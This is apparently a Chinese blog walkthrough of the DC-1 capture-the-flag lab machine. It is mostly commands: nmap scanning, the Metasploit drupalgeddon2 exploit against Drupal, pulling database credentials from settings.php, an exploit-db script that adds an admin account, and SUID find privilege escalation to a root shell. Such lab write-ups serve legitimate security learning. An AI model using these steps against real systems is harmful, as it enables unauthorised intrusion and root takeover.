DC涉及到linux提权,前面的信息搜集阶段的操作也是很不错的实践方法,接下来几天将会持续更新完毕DC系列
靶机:192.168.78.133
kali:192.168.78.131
配置:
kali和靶机都配置成net模式
扫描存活主机及其开放端口
首先查看一下kali网卡的ip段:
ifconfig
kali和靶机在同一网卡里面,所以这里扫一下该网段存活主机
nmap -sP 192.168.78.0/24
发现靶机IP地址
接下来扫描靶机开放的端口:
nmap -sV 192.168.78.133
nmap -p 1-65535 -A -sV 192.168.78.133(建议用这个)
发现80端口打开,应该就是从80端口开始打
FLAG1获取:利用MSF拿下入口
访问一下80靶机开放的80端口:
发现是Drupal,使用Metasploit搜索Drupal,查询可使用的EXP
$ sudo msfdb init && msfconsole
$ search Drupal
启用MSF
搜索框架的漏洞:
使用漏洞:
$ use exploit/unix/webapp/drupal_drupalgeddon2
$ show options
$ set RHOSTS 192.168.192.139
$ exploit
执行完上述命令可以连上shell了(但是这里不是交互式shell,下面会提到存在的问题)。发现第一个flag.txt。
拿下第一个flag,拿到一个提示:每一个好的cms都需要一个配置文件,你也是
FLAG2:配置文件泄露信息
百度一下Drupal的配置文件存放在哪里?
然后查看一下settings.php,拿到第二个FLAG2.TXT
flag2给出的提示:
*标志2
*暴力和字典攻击不是最好的选择
*获得访问权限的唯一方法(您将需要访问权限)。
*你能用这些证书做什么?
这里猜测是使用admin身份登录网站获取FLAG3
FLAG3:EXP添加管理员账户
依然是FLAG2中存在的信息泄露,我们在settings.php中发现数据库相关信息
我们猜测应该是连接数据库,查询管理员账号和密码
连接数据库:
meterpreter > mysql -u dbuser -p (连接不上)
采用以下命令:
shell
python -c 'import pty; pty.spawn("/bin/bash")'
mysql -u dbuser -p
这里连接不上主要是因为不是交互式shell,不是主机对数据库的连接,所以python引进“虚拟键入”即可
连接上数据库后一步步查询
show database;
use drupaldb;
show tables;
select * from users;
这里虽然查询到了数据库账号和密码,但是没啥用,都是加密过的。
因此使用MSF中看能否寻找到合适的EXP
cat /var/www/includes/bootstrap.inc | grep VERSION (首先确定框架版本)
searchsploit drupal (搜索EXP)
python /usr/share/exploitdb/exploits/php/webapps/34992.py -t http://192.168.78.133 -u admin1 -p admin1 (使用EXP)
第三个命令 路径是因为msf的所有EXP都存储在/usr/share/exploitdb中,而我们对应的EXP,后面的path都是跟在这之后的
这里很明显有一个可添加管理员账户的EXP,直接使用,成功添加一个管理员账号。
管理员登录80端口开放的页面,拿到flag3提示:
特殊的PERMS可以帮助找到密码-但您需要-exec该命令来确定如何获取隐藏的内容
FLAG4、5:linux提权之FIND
因为提示说要去找密码,那就去查找看下密码:
cat /etc/passwd
找到了FLAG4并且知道了位置,进去直接查看:
提示说去查找ROOT权限下的文件,ROOT文件夹普通权限进不去,因此涉及提权
首先查看UID=0的命令
find / -user root -perm -4000 -print 2>/dev/null
发现FIND命令具有ROOT命令
find ./ aaa -exec '/bin/sh' \;(这里命令不唯一,有很多方法)
查看flag4.txt
相同的方式查看ROOT目录下的文件
word done!